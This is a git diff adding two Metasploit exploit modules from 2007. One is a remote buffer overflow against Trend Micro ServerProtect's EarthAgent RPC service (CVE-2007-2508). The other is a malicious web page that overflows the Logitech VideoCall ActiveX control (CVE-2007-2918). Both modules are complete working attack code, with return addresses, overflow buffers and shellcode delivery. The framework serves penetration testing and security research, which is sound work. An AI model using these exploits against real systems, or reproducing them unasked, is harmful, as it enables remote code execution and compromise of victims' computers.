diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb
new file mode 100644
index 0000000000..67f08422a8
--- /dev/null
+++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb
@@ -0,0 +1,86 @@
+##
+# $Id: trendmicro_serverprotect_earthagent.rb 4886 2007-05-07 04:48:45Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Antivirus::Trendmicro_Serverprotect_EarthAgent < Msf::Exploit::Remote
+
+	include Exploit::Remote::DCERPC
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060
+				EarthAgent.EXE. By sending a specially crafted RPC request, an attacker could overflow the
+				buffer and execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 4886 $',
+			'References'     =>
+				[
+					['BID', '23866'],
+					['CVE', '2007-2508'],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 800,
+					'BadChars' => "\x00",
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x605e3c2f } ], # pop esi; pop ebx; ret / agentclient.dll
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'May 7 2007'))
+			
+			register_options( [ Opt::RPORT(3628) ], self.class )
+	end
+
+	def exploit
+		connect
+		handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
+		print_status("Binding to #{handle} ...")
+
+		dcerpc_bind(handle)
+		print_status("Bound to #{handle} ...")
+
+		filler =  rand_text_english(680) + Rex::Arch::X86.jmp_short(6) 
+		filler << make_nops(2) + [target.ret].pack('V') + payload.encoded
+
+		len	 = filler.length  
+
+		sploit = NDR.long(0x001f0014) + NDR.long(len) + filler + NDR.long(len) 
+
+		print_status("Trying target #{target.name}...")
+			
+			begin
+				dcerpc_call(0, sploit)
+				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
+			end
+		
+		handler
+		disconnect
+	end
+
+end
+end	
diff --git a/modules/exploits/windows/browser/logitechvideocall_start.rb b/modules/exploits/windows/browser/logitechvideocall_start.rb
new file mode 100644
index 0000000000..2449d28c80
--- /dev/null
+++ b/modules/exploits/windows/browser/logitechvideocall_start.rb
@@ -0,0 +1,96 @@
+##
+# $Id: logitechvideocall_start.rb 4953 2007-05-21 20:51:13Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::LogitechVideocall_Start < Msf::Exploit::Remote
+
+	include Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Logitech VideoCall ActiveX Control Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in the Logitech VideoCall ActiveX
+					Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the
+					"Start()" method, an attacker may be able to execute arbitrary code.  
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'MC' ], 
+			'Version'        => '$Revision$',
+			'References'     => 
+				[
+					[ 'CVE', '2007-2918' ],
+					[ 'BID', '24254' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 800,
+					'BadChars'      => "\x00\x09\x0a\x0d'\\",
+					'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",	
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP Pro SP2 English',     { 'Offset' => 120, 'Ret' => 0x7c941eed } ],
+				],
+			'DisclosureDate' => 'May 31 2007',
+			'DefaultTarget'  => 0))
+	end
+
+	def autofilter
+		false
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		# Re-generate the payload
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Randomize some things
+		vname	= rand_text_alpha(rand(100) + 1)
+		strname	= rand_text_alpha(rand(100) + 1)
+		
+		# Set the exploit buffer	
+		sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded 
+	
+		# Build out the message
+		content = %Q|
+			<html>
+			<object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>
+			<script language='javascript'>
+			var #{vname} = document.getElementById('#{vname}');
+			var #{strname} = new String('#{sploit}');
+			#{vname}.Start(#{vname}, #{vname}, #{strname});	
+			</script>
+			</html>
+                  |
+		
+		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+
+end
+end